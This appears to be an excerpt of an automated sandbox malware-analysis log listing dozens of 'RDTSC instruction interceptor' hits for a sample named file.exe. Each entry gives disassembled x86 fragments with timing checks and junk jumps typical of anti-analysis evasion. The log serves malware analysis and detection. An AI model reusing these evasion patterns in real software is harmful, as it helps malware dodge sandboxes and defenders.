Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1748B1F second address: 1748B25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1748C5E second address: 1748C64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 174B40C second address: 174B417 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F0DECF2B4D6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 174B417 second address: 174B41D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 174B41D second address: 174B426 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 174B426 second address: 174B42C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 174B42C second address: 174B430 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 174B117 second address: 174B11E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 174B11E second address: 174B124 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 174F9B8 second address: 174F9BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 174FCC1 second address: 174FCC7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 174FE3E second address: 174FE42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1754217 second address: 175423F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DECF2B4E6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnl 00007F0DECF2B4DEh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 175423F second address: 1754259 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F0DEC859E6Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F0DEC859E6Ah 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 17543B9 second address: 17543DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DECF2B4E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jl 00007F0DECF2B4D6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 17543DC second address: 17543E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push edi 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 17543E7 second address: 1754406 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F0DECF2B4E4h 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1754406 second address: 175440F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 175440F second address: 1754415 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1754596 second address: 175459A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 175459A second address: 175459E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 175459E second address: 17545A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 175AA41 second address: 175AA45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 175AA45 second address: 175AA4F instructions: 0x00000000 rdtsc 0x00000002 js 00007F0DEC859E66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 175AA4F second address: 175AA60 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F0DECF2B4D6h 0x00000009 jne 00007F0DECF2B4D6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 175AA60 second address: 175AA84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0DEC859E77h 0x00000009 popad 0x0000000a jp 00007F0DEC859E72h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 175AA84 second address: 175AA8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 17592D5 second address: 17592F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jnl 00007F0DEC859E68h 0x0000000d jmp 00007F0DEC859E70h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 17592F4 second address: 1759300 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jns 00007F0DECF2B4D6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1759300 second address: 1759310 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F0DEC859E66h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1759310 second address: 1759321 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0DECF2B4DDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1759321 second address: 175932B instructions: 0x00000000 rdtsc 0x00000002 ja 00007F0DEC859E66h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1759494 second address: 17594B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DECF2B4E8h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1759656 second address: 1759668 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F0DEC859E68h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1759668 second address: 175966E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 175966E second address: 175967D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0DEC859E6Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 17597A5 second address: 17597A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 17597A9 second address: 17597AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 17597AF second address: 17597BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F0DECF2B4DCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1759924 second address: 175992A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 175992A second address: 175995C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a jmp 00007F0DECF2B4DAh 0x0000000f jno 00007F0DECF2B4D6h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F0DECF2B4E3h 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 175995C second address: 1759960 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1759AC9 second address: 1759AD7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push ebx 0x0000000a push edi 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16F7FC1 second address: 16F8031 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0DEC859E6Eh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], eax 0x00000010 push 00000000h 0x00000012 push ebp 0x00000013 call 00007F0DEC859E68h 0x00000018 pop ebp 0x00000019 mov dword ptr [esp+04h], ebp 0x0000001d add dword ptr [esp+04h], 0000001Ch 0x00000025 inc ebp 0x00000026 push ebp 0x00000027 ret 0x00000028 pop ebp 0x00000029 ret 0x0000002a jng 00007F0DEC859E84h 0x00000030 jp 00007F0DEC859E7Eh 0x00000036 jmp 00007F0DEC859E78h 0x0000003b push 00000004h 0x0000003d mov edi, dword ptr [ebp+122D2616h] 0x00000043 push eax 0x00000044 push eax 0x00000045 push edx 0x00000046 push eax 0x00000047 push edx 0x00000048 push esi 0x00000049 pop esi 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16F8031 second address: 16F8037 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16F8037 second address: 16F803C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1763005 second address: 176300B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 17611AD second address: 17611B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 17611B8 second address: 17611BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 17611BE second address: 17611DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push ebx 0x00000006 jmp 00007F0DEC859E78h 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 176195F second address: 1761963 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1761963 second address: 1761967 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1761967 second address: 176196D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 176196D second address: 1761976 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1761976 second address: 1761987 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jns 00007F0DECF2B4D6h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 176218F second address: 17621CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F0DEC859E66h 0x0000000a pushad 0x0000000b popad 0x0000000c jnp 00007F0DEC859E66h 0x00000012 popad 0x00000013 js 00007F0DEC859E6Eh 0x00000019 pop ecx 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d jg 00007F0DEC859E66h 0x00000023 jmp 00007F0DEC859E74h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 17621CE second address: 17621D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 17621D2 second address: 17621FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F0DEC859E6Ch 0x0000000c jno 00007F0DEC859E66h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F0DEC859E70h 0x00000019 jg 00007F0DEC859E66h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1762A53 second address: 1762A60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jp 00007F0DECF2B4D6h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1762D36 second address: 1762D56 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F0DEC859E66h 0x00000009 jmp 00007F0DEC859E6Fh 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 popad 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 176D73F second address: 176D745 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 176D745 second address: 176D74B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 176D74B second address: 176D784 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0DECF2B4DDh 0x00000009 popad 0x0000000a jmp 00007F0DECF2B4E9h 0x0000000f push eax 0x00000010 push edx 0x00000011 jng 00007F0DECF2B4D8h 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 push ebx 0x0000001a push esi 0x0000001b pop esi 0x0000001c pop ebx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 176D8E6 second address: 176D8EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 176D8EC second address: 176D91C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DECF2B4E5h 0x00000007 jnc 00007F0DECF2B4DEh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edi 0x00000010 jne 00007F0DECF2B4DCh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 176DDFB second address: 176DE18 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F0DEC859E66h 0x00000008 jmp 00007F0DEC859E70h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 176DF75 second address: 176DF7F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 176DF7F second address: 176DF83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 17777A1 second address: 17777D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push esi 0x00000009 pop esi 0x0000000a jmp 00007F0DECF2B4DBh 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F0DECF2B4E6h 0x00000018 push edi 0x00000019 pushad 0x0000001a popad 0x0000001b pop edi 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 17777D4 second address: 17777DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 17777DC second address: 17777FB instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0DECF2B4D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007F0DECF2B4D6h 0x00000012 jmp 00007F0DECF2B4DDh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 17777FB second address: 1777801 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1777C63 second address: 1777C68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1777DC9 second address: 1777DCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1777DCF second address: 1777DD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1778BF4 second address: 1778C05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jbe 00007F0DEC859E66h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1778C05 second address: 1778C09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1778C09 second address: 1778C15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1778C15 second address: 1778C19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 17793BE second address: 17793C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 17793C2 second address: 17793EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F0DECF2B4DAh 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F0DECF2B4E6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 177E80E second address: 177E822 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0DEC859E6Eh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 177E822 second address: 177E827 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 178DF4D second address: 178DF51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 178D9C4 second address: 178D9C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 178D9C8 second address: 178D9E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DEC859E75h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 178DB34 second address: 178DB3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F0DECF2B4D6h 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 178DB3F second address: 178DB94 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F0DEC859E66h 0x00000009 jmp 00007F0DEC859E75h 0x0000000e jmp 00007F0DEC859E6Dh 0x00000013 jmp 00007F0DEC859E6Ch 0x00000018 popad 0x00000019 pushad 0x0000001a jno 00007F0DEC859E66h 0x00000020 jmp 00007F0DEC859E74h 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 178DB94 second address: 178DB9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 178FCEC second address: 178FCF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 178FCF1 second address: 178FCFB instructions: 0x00000000 rdtsc 0x00000002 je 00007F0DECF2B4DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 178FCFB second address: 178FD02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16BB959 second address: 16BB981 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F0DECF2B4E9h 0x0000000e jne 00007F0DECF2B4D6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 17A7773 second address: 17A77A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jng 00007F0DEC859E6Eh 0x0000000c push esi 0x0000000d pop esi 0x0000000e jc 00007F0DEC859E66h 0x00000014 jmp 00007F0DEC859E72h 0x00000019 popad 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d push esi 0x0000001e pop esi 0x0000001f jnp 00007F0DEC859E66h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 17A77A5 second address: 17A77B8 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F0DECF2B4D6h 0x00000008 je 00007F0DECF2B4D6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 17A77B8 second address: 17A77CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F0DEC859E6Bh 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 17AE577 second address: 17AE590 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 ja 00007F0DECF2B4E2h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 17AE590 second address: 17AE5AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0DEC859E78h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 17AE5AC second address: 17AE5DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DECF2B4E4h 0x00000007 jmp 00007F0DECF2B4E4h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
